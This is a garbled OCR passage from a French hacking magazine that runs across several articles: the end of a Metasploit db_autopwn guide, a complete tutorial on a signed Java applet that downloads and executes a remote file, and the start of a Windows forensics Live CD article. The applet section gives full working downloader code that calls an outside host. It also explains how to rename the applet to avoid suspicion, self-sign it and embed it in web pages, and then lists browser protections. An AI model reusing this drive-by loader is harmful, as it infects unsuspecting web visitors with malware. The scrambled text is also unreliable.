Nous avons vu qu'il tait possible d'importer les htes dans la base de donnes soit partir du rsultat d'un scan de vulnrabilit avec la commande db_import_nessus_nbe, soit au moyen de la commande db_nmap. Comment peupler alors le plus efficacement la base de donnes de Metasploit ? L'importation via le rsultat du scan Nessus ou d'OpenVAS permet d'utiliser l'argument -x de db_autopwn qui va permettre de se baser sur la vulnrabilit et non sur le port (option -p). L'inconvnient majeur est qu'un scan de vulnrabilit est extrmement lent et trs bavard sur le rseau. L'utilisation de db_nmap permet de scanner plus rapidement un grand nombre de cibles et sera via les options de nmap plus discret qu'un scan de vulnrabilit. En revanche, sans ce dernier, on pourrait ne pas dtecter des services vulnrables qui n'utiliseraient pas les ports par dfaut.

msf > db_vulns

[*] Time: Fri Oct 23 09:29:24 +0200 2009 Vuln: host=192.168.0.20 port=22 [*] Time: Fri Oct 23 09:29:24 +0200 2009 Vuln: host=192.168.0.13 port=22 [*] Time: Fri Oct 23 09:29:24 +0200 2009 Vuln: host=192.168.0.12 port=22 [...] proto=tcp name=NSS-

proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282 refs= proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282 refs=

Listing 6. Options de la commande db_autopwn.msf > db_autopwn -h -t -x -p -e -r -b -q -I -X [*] Usage: db_autopwn [options]

Display this help text

Show all matching exploit modules

Conclusion

Select modules based on vulnerability references Select modules based on open ports Use a reverse connect shell Launch exploits against all matched targets Use a bind shell on a random port (default) [range] Only exploit hosts inside this range Disable exploit module output

-PI [range] Only exploit hosts with these ports open -m

[range] Always exclude hosts inside this range

-PX [range] Always exclude hosts with these ports open

Les mthodes prcdemment dtailles vont permettre aux administrateurs (de petits ou grands rseaux) de raliser, moindre frais un tat des lieux de leur scurit face aux attaques dites classiques des script kiddies et de virus/vers. Toutefois cela ne remplace pas l'audit ou le test d'intrusion ralis par des professionnels de la scurit IT.Lauteur a travaill pendant cinq ans en tant que Consultant en Scurit des Systmes dInformation dans une SSII parisienne. Il est maintenant Ingnieur rseau et scurit pour une socit dveloppant des solutions technologiques intgres dans la rgion de Bordeaux.

[regex] Only run modules whose name matches the regex

propos de l'auteur

40 HAKIN9 1/2010

ATTAQUE(EUROPASECURITY.ORG/ZATAZ.COM)

CHRISTOPHE B. AKA T0FX

Remote download excution avec java :utilisation et protectionCet article va traiter d'une attaque devenue trs populaire, l'excution d'un fichier malicieux par le biais d'une applet java.

Degr de difficult

a signature de l'application n'est pas vrifie, cependant si l'applet se trouve sur un site trs visit ou un site de confiance, la plupart des visiteurs vont srement cliquer sur Excuter . Dans une premire partie vous allez dcouvrir comment crer un de ses applets, comment le signer et comment l'insrer dans une page web. Par la suite vous connaitrez les diffrentes mthodes de protection contre ce type d'attaque.

L

Une autorisation dfinit : un code accesseur (typiquement, une applet - ventuellement signe - envoye depuis un serveur web); une ressource locale concerne (par exemple un rpertoire); un ensemble de droits (par exemple lire/crire).

Introduction

CET ARTICLE EXPLIQUE...Comment fonctionne les applets Java de type Remote donwload / execution. Comment s'en protger. Comment crer un applet.

CE QU'IL FAUT SAVOIR...Connaissances en Java pour comprendre l'applet. 42 HAKIN9 1/2010

Comment ce genre d'attaque est-il possible ? La plate-forme Java fut lun des premiers systmes offrir le support de lexcution du code partir de sources distantes. Un applet peut fonctionner dans le navigateur web dun utilisateur, excutant du code tlcharg depuis un serveur HTTP. Le code dune applet fonctionne dans un espace trs restrictif, ce qui protge lutilisateur des codes errons ou mal intentionns. Cet espace est dlimit par un objet appel gestionnaire de scurit. Un tel objet existe aussi pour du code local, mais il est alors par dfaut inactif. Le gestionnaire de scurit (la classe SecurityManager) permet de dfinir un certain nombre dautorisations dutilisation des ressources du systme local (systme de fichiers, rseau, proprits systme, ).

Les diteurs dapplet peuvent demander un certificat pour leur permettre de signer numriquement un applet comme sre, leur donnant ainsi potentiellement (moyennant lautorisation adquate) la permission de sortir de lespace restrictif et daccder aux ressources du systme local. C'est en utilisant ce certificat qu'une personne mal intentionne va pouvoir crer un applet malveillant et le diffuser.

Analyse de l'attaque

tant donn que le Java est multi-plateforme, les applets Java peuvent tre excutes sur diffrents OS, dont Windows (Windows mobile inclus), UNIX, Mac OS, Linux et encore Symbian ce qui permet aux hackers de pouvoir toucher un maximum de public. Le deuxime avantage de cette attaque est de pouvoir changer le fichier qui sera excut via l'applet sans avoir modifier l'applet lui mme.

JAVA

Figure 1. Vous avez surement dj vu ce genre de pop-up en naviguant sur le web. Donc si l'applet est install sur une centaine de sites et que l'excutable devient dtect par beaucoup d'antivirus, le hacker n'a simplement qu' remplacer le fichier depuis le serveur sur lequel il est hberg. Le point faible de ce type d'attaque : le navigateur a besoin du plugin Java pour pouvoir excuter une applet. Ce type d'attaque n'est pas nouveau, les premires utilisations datent de 2005, Christopher Boyd, de chez Vital security recherchait des paroles de chansons quand sur certains sites il lui t propos d'installer une applet Java. Cet applet tlchargeait un virus et l'excutait. L'applet a t baptis l'poque Java.OpenStream.t Depuis, de nombreuses variantes ont fait leur apparition...Trojan.Java.ClassLoader.a Trojan.Java.ClassLoader.b Trojan.Java.ClassLoader.c Trojan.Java.ClassLoader.d BlackBox.class BlackBox.class ... BlackBoxJJ.class RunString.class

Figure 2. Les utilisateurs surfent sur un site internet, l'applet s'ouvre et demande d'installer un plugin. Si l'utilisateur accepte, l'applet fait tlcharger un excutable depuis un serveur distant et l'excute en local.

Figure 3.

Dans la suite de cet article vous sera prsent un exemple d'applet fonctionnant avec un excutable pour toutes versions de Windows.

Figure 4.

Cration d'un excutable de test

Pour tester le fonctionnement d'une applet Java de type Download / execute nous allons d'abord crer un excutable qui nous servira de test. Nous allons utiliser un simple Hello World en C# :

Figure 4.1/2010 HAKIN9 43

ATTAQUEListing 1.import java.applet.Applet; import java.io.*; import java.net.URL; import java.net.URLConnection; import java.awt.*; import java.net.*; public class Evil extends Applet { public void start() { try { // On utilise le rpertoire des fichiers temporaires pour pouvoir fonctionner avec vista et seven String fileoot = System.getenv("TEMP"); // Le nom du fichier en local String fname = "\\evil.exe"; String efool = fileoot.concat(fname); BufferedOutputStream bufferedoutputstream = null; InputStream inputstream = null; // URL du fichier tlcharger

// Cration de evil.exe sur la machine bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool)); // Tlchargement du fichier depuis l'URL donne plus haut // Copie du fichier de l'URL dans le fichier local

URL url = new URL("http://tonsite.net/evil.exe");

URLConnection urlconnection = url.openConnection();

byte abyte0[] = new byte[1024]; int i; for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i) bufferedoutputstream.write(abyte0, 0, i); try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception) { } // Excution du fichier Runtime runtime = Runtime.getRuntime(); try { Process process = runtime.exec(efool); process.waitFor(); BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream())); } catch(Exception exception1) { } try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception1) { } } catch(Exception e) { } } public void main(String args[]) { start(); } }

inputstream = urlconnection.getInputStream();

44 HAKIN9 1/2010

JAVAusing System; {

namespace hello_world class Program { static void Main (string[] args) {

Console.WriteLine

("Hello world !"); }

Console.ReadLine();

}

}

Compilez sous evil.exe et uploadez le sur un site internet. Nous allons maintenant passer la partie Java.

Figure 5. Exemple de fonctionnement sur une fausse page aux couleurs de msn.

Code source d'une applet malveillanteTout d'abord le code java.

Explication et personnalisation du code source

URL("http://tonsite.net/evil.exe");

Cette application en java va tlcharger dans le dossier temporaire du PC de la victime le fichier evil.exe depuis l'URL mise dans url = puis va l'excuter. Remplacez l'URL dans url = new par votre URL. Remplacez le nom du fichier de destination ici :

String fname = "\evil.exe";

Figure 6. Excution du Hello World. Si vous n'avez pas encore le SDK java vous pouvez le tlcharger ici : http://java.sun.com/javase/6/download.jsp Ouvrez une fentre CMD (en mode administrateur si vous tes sous Vista ou 7). Naviguez vers le rpertoire ou se trouve le SDK (chez moi : jdk1.6.0_16) : cd C:\Program Files\Java\ jdk1.6.0_16\bin. Collez dans \bin le fichier Evil.java. Dans l'invite de commande tapez :javac Evil.java

Copiez et enregistrez sous Evil.java Vous pouvez modifier le nom de l'applet pour le rendre moins suspicieux, pour cela vous devez renommer :public class Evil extends Applet en public class cequetuveux extends Applet

et enregistrer sous cequetuveux.java Pour la suite du tutoriel je vais garder le nom Evil.

Compilation de l'application

Maintenant que l'on a le Evil.java il va falloir le compiler.

Un fichier Evil.class viens normalement d'tre cr dans le rpertoire \bin.

Figure 7.1/2010 HAKIN9 45

ATTAQUEIl faut maintenant compiler la class en fichier .jar avec la commande suivante :jar cf Evil.jar Evil.class.

Ensuite on valide notre certificat :keytool -selfcert -keystore moncert -alias me

http://fr.wikipedia.org/wiki/Applet_java dfinition et dscription des applets Java.

Sur Internet

Vous avez maintenant un fichier Evil.jar

Cration d'un certificat

Voila notre certificat est prt, on doit maintenant l'assigner notre applet :jarsigner keystore moncert Evil.jar me

Votre applet est prt il ne reste plus qu' le signer avec un certificat. Le certificat sera valide 6 mois. Nous allons utiliser l'outil "keytool" prsent dans le dossier \bin pour signer notre applet. Dans l'invite de commande tapez :keytool -genkey keystore moncert alias me

Installation de l'applet sur une page web :

La dernire tape est l'insertion du code qui excutera notre applet sur une page web. Vous uploadez les fichiers Evil.class et Evil.jar sur votre site puis un fichier php qui contient :

Voil votre applet prt fonctionner. Une fois le bouton Excuter cliqu, evil.exe se tlcharge dans le rpertoire TEMP de votre ordinateur et s'excute.

de malware via une simple applet Java. Il convient donc d'tre trs prudent lorsqu'on nous propose l'installation d'un plugin java, mme si vous fates confiance au site, car il a peut tre t modifi par une personne malveillante. Pour scuriser votre navigation vous pouvez dsactiver les plugin Java ou encore les filtrer. Avec Internet explorer la procdure est la suivante : choisissez le menu Outils/Tools, la rubrique Options Internet/ Internet Options, l'onglet Scurit/Security et finalement Personnaliser le niveau/ Custom Level. Faites dfiler les choix jusqu' Script/ Scripting, puis dsactivez Active Scripting et Script des applets Java/Scripting of Java Applets.

Pour Netscape

Comme on peut le voir, n'importe quel site peut-tre utilis des fins de transmission

Prvention contre ce type d'infection

Choisissez le menu dition/Edit , la rubrique Prfrences/Preferences et l'onglet Avanc/Advanced. Il suffit alors de dsactiver Activer Java/Enable Java et Activer JavaScript/Enable JavaScript.

Pour Firefox

Dans le menu Outils / Options / Contenu dcochez Activer Java et Activer JavaScript. Il existe un add-on pour Mozilla Firefox qui permet de filtrer ou dsactiver les pugins Java, Javascript ou encore ActiveX lors de la navigation, il est disponible ici : http://extensions. geckozone.org/noscript

Si vous ne dsactivez pas les scripts Java, vous de faire attention ne pas autoriser les scripts de sites douteux ou signs par des entreprises mconnues. Ces applets Java peuvent-tre partout donc soyez vigilants. propos de l'auteur

Conclusion

Figure 8.46 HAKIN9 1/2010

Auteur : Christophe B. aka t0fx Pays : France Administrateur du site http://www.europasecurity.org/ Rdacteur occasionnel chez ZATAZ.COM Journal Autodidacte en informatique / scurit / programmation Vous pouvez le contacter par mail : [email protected].

JAVA

1/2010 HAKIN9

47

MARC REMMERT

PRATIQUE Windows FE Live CD

Degr de difficult

d'investigation informatique Windows-PEAu cours de l'anne 2008, des rumeurs ont circul sur la distribution d'un Live CD Microsoft Windows FE. Sur Internet tous les types de sujets taient abords dont celui de la scurit et de l'investigation informatique, pourtant ce CD Windows n'a pas connu un franc succs.

T

roy Larson, est un investigateur informatique senior qui travaille au sein du groupe de scurit de Microsoft. C'est le premier avoir apport des modifications Windows PE pour ladapter au domaine des investigations informatique lgales. Ce systme d'exploitation est appel Windows FE, ce qui signifie littralement environnement d'investigation informatique (Forensic Environment). Windows est largement utilis comme systme d'exploitation par presque toutes les suites logicielles en investigation informatique, toutefois il n'a jamais t utilis comme systme de base sur un Live CD. Dans le cadre de cet article, vous verrez comment crer votre propre Live CD tournant sous Windows.

CET ARTICLE EXPLIQUE...Comment crer un Live CD tournant sous Windows Vista pour l'investigation informatique et comment ajouter des programmes spcifiques ce domaine

Introduction l'investigation informatique lgale

CE QU'IL FAUT SAVOIR...Vous devez avoir des connaissances de base des systmes d'exploitation Windows et dans l'investigation informatique lgale 48 HAKIN9 1/2010

L'investigation informatique lgale est la transposition du travail d'enqute au monde informatique. Cette branche de l'informatique est ne suite l'augmentation du crime au cours de ces vingt dernires annes. Dans les annes 80, plusieurs agences gouvernementales ont estim que certains cas judiciaires ncessitaient des examens approfondis des systmes informatiques. Par exemple, en 1988 l'office fdral de police criminelle allemande a cr une unit spcialise pour les crimes informatique. Les tats-Unis ont dbut quelques annes plus

tt. En 1984, le FBI a fond le Magnetic Media Program, plus connu sous le nom de Computer Analysis and Response Team (CART). Tout comme la criminalistique, le domaine de l'investigation informatique cherche recueillir ou rvler des traces de crimes en vue de les prsenter devant une cour de justice. Le processus d'investigation ne doit en aucun cas compromettre les lments de preuve. La loi de Loccards s'applique aussi au domaine de l'investigation informatique lgale. Cette loi stipule que toute interaction avec une preuve conduit un change d'une ou plusieurs substance(s), en d'autres termes, l'analyse de la preuve peut tre altre. Dans la criminalistique, le risque d'altration est minimis grce l'utilisation de gants et de masques striles. Dans le domaine de l'investigation informatique lgale l'utilisation de copies de disques (au bit prs), permet galement de rduire les risques d'altration des preuves. Dans la plupart des cas, les disques incrimins seront rcuprs puis analyss dans un laboratoire quip avec du matriel et des logiciels spcialiss. Il convient de signaler que nous observons un changement d'attitude depuis ces dernires annes - l'analyse du ou des disque(s) dur d'un suspect va de paire avec l'analyse de la mmoire vive de l'ordinateur. Toutefois, le processus consistant recueillir les donnes de la mmoire RAM modifie l'tat mme du systme d'exploitation au risque d'altrer certaines preuves.

WINDOWS FECD en investigation informatique se rvle indispensable pour les systmes HS. C'est ce thme que je vais aborder dans le prsent article. Dans les cas mentionns ci-dessus, l'utilisation d'un Live CD peut grandement faciliter la recherche de preuves numriques. Je n'aborderai pas les avantages et les inconvnients lis l'utilisation d'un priphrique USB sur un systme compromis, comme cela se fait avec Microsoft COFFEE. Nous savons tous que ce type d'opration peut provoquer des modifications dans le registre - dans une entre d'un priphrique USB ; tous les programmes en cours sont enregistrs et modifient le contenu de la mmoire RAM du systme. Il en est de mme pour les programmes excuts partir d'un Live CD. Dmarrer depuis un Live CD sur un systme hors-service n'affecte en rien celui-ci toutefois, ces CD doivent rpondre aux exigences suivantes :

Figure 1. Installation WAIKPar ailleurs, l'analyse de la mmoire RAM et l'interprtation des donnes rcupres fait encore l'objet de recherches. Des changements significatifs sont apports chaque parution d'une nouvelle version d'un systme d'exploitation. Dans le cadre de cet article je vais m'intresser l'analyse traditionnelle de la mmoire morte l'examen du contenu des disques